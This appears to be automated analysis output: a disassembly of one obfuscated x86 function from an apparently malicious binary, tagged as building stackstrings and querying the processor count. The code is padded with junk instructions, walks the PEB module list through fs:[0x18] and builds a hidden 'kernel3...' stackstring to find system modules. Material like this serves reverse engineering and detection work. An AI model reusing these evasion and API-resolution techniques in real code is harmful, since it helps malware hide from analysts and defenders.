Function at 0x4133f6
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push ecx
push edi
add esp, 4
sub ecx, 0x527c
add ecx, 0xf275
jmp 0x413196
pop ecx
push edi
push ecx
add esp, 4
and edi, 0xdb79
pop edi
push esi
and esi, 0x17916
jmp 0x4131b1
pop esi
lea ecx, [ebp - 0x1738]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push esi
and esi, 0xc410
xor esi, 0x74e8
sub esi, 0x7310
pop esi
push ecx
xor ecx, 0x1007d
and ecx, 0xb22c
jmp 0x413208
pop ecx
push ebx
xor ebx, 0x1440e
pop ebx
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push esi
push edx
add esp, 4
and esi, 0x915c
pop esi
push edx
or edx, 0x54a9
and edx, 0x1254c
call 0x413293
add byte [esi + 0x39], al
inc esi
xor al, 0x40
cmp dh, byte [edx]
push eax
add esp, 4
xor edx, 0x9f7b
pop edx
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x4132c0
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e0], eax
jmp 0x413323
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x4131df
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x4131df
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x41330d
mov dword [ebp - 0x15dc], 0xffffffff
jmp 0x413317
mov dword [ebp - 0x15dc], 1
mov edx, dword [ebp - 0x15dc]
mov dword [ebp - 0x15e0], edx
cmp dword [ebp - 0x15e0], 0
jne 0x41336c
push edx
push esi
add esp, 4
xor edx, 0x4c54
pop edx
push edi
jmp 0x413341
xor edi, 0x6098
or edi, 0x1777b
jmp 0x413355
pop edi
push ebx
add ebx, 0x12f96
pop ebx
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x31c], eax
jmp 0x4133d4
push ecx
call 0x41337a
add byte [edx + 0x44], al
aaa
inc eax
aas
dec edi
inc edx
add esp, 4
xor ecx, 0x17190
jmp 0x413389
pop ecx
push esi
add esi, 0x38f8
add esi, 0xac57
or esi, 0x16730
pop esi
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x4133ca
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x413180
mov dword [ebp - 0x31c], 0
push ecx
xor ecx, 0x8e86
xor ecx, 0x84d4
or ecx, 0x5161
call 0x4133f6
add byte [eax + 0x3e], al
cmp dword [ebx + edi], edi
inc ecx
dec eax
dec eax
inc edx
add esp, 4
pop ecx
push ebx
push eax
add esp, 4
sub ebx, 0xd6f5
pop ebx
cmp dword [ebp - 0x31c], 0
jne 0x413d1f
mov edx, 0x6b
mov word [ebp - 0x1774], dx
mov eax, 0x65
mov word [ebp - 0x1772], ax
mov ecx, 0x72
mov word [ebp - 0x1770], cx
mov edx, 0x6e
mov word [ebp - 0x176e], dx
mov eax, 0x65
mov word [ebp - 0x176c], ax
mov ecx, 0x6c
mov word [ebp - 0x176a], cx
mov edx, 0x33
push esi
or esi, 0x11564
jmp 0x413d2b
call 0x413d37
add byte [edi], dh
inc esi
push eax
inc edi
xor al, byte ss:[ebx + 0x575e04c4]
xor edi, 0x1602a
pop edi
push edi
xor edi, 0x70f0
add edi, 0x112fe
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x197c], eax
mov ecx, dword [ebp - 0x197c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1980], edx
mov eax, dword [ebp - 0x1980]
mov dword [ebp - 0x15fc], eax
push edi
or edi, 0x334e
jmp 0x413d86
pop edi
push ebx
and ebx, 0xb300
add ebx, 0x48eb
call 0x413da0
add byte [eax*2 + 0x4a354f4f], bh
add esp, 4
xor ebx, 0xe07e
pop ebx
cmp dword [ebp - 0x15fc], 0
jne 0x413dc2
mov dword [ebp - 0x31c], 0
jmp 0x414069
mov ecx, dword [ebp - 0x15fc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb4], eax
push ecx
push ecx
add esp, 4
call 0x413de8
add byte [ecx + 0x3a], cl
aas
xor eax, 0x3439363c
add esp, 4
pop ecx
push ebx
or ebx, 0x15dda
jmp 0x413dfa
sub ebx, 0x62a5
jmp 0x413e05
pop ebx
cmp dword [ebp - 0xcb4], 0
jne 0x413e1e
mov dword [ebp - 0x31c], 0
jmp 0x414069
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0x50c], ecx
push edx
or edx, 0xf1ab
pop edx
push edi
push esi
add esp, 4
xor edi, 0xc7f9
pop edi
push esi
push eax
add esp, 4
call 0x413e51
add byte [ecx + 0x47], cl
dec eax
push eax
dec esi
push eax
add esp, 4
jmp 0x413e5b
pop esi
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcb0], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcac], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
and edi, 0x128d3
sub edi, 0x11f0b
pop edi
push edx
or edx, 0x14617
pop edx
push ecx
push ebx
add esp, 4
jmp 0x413ea9
add ecx, 0xa268
pop ecx
push eax
or eax, 0x4ded
pop eax
mov ecx, dword [ebp - 0xcac]
mov dx, word [ecx]
mov word [ebp - 0x103a], dx
mov eax, dword [ebp - 0xcac]
add eax, 2
mov dword [ebp - 0xcac], eax
mov cx, word [ebp - 0x103a]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcb0]
mov ax, word [edx]
mov word [ebp - 0x103c], ax
mov ecx, dword [ebp - 0xcb0]
add ecx, 2
mov dword [ebp - 0xcb0], ecx
mov dx, word [ebp - 0x103c]
mov word [ebp - 0x34], dx
push edx
push ecx
push edx
add esp, 4
sub ecx, 0x3027
daa
xor byte [eax], al
add byte [ecx + 0x56], bl
push esi
add esp, 4
sub esi, 0x1324b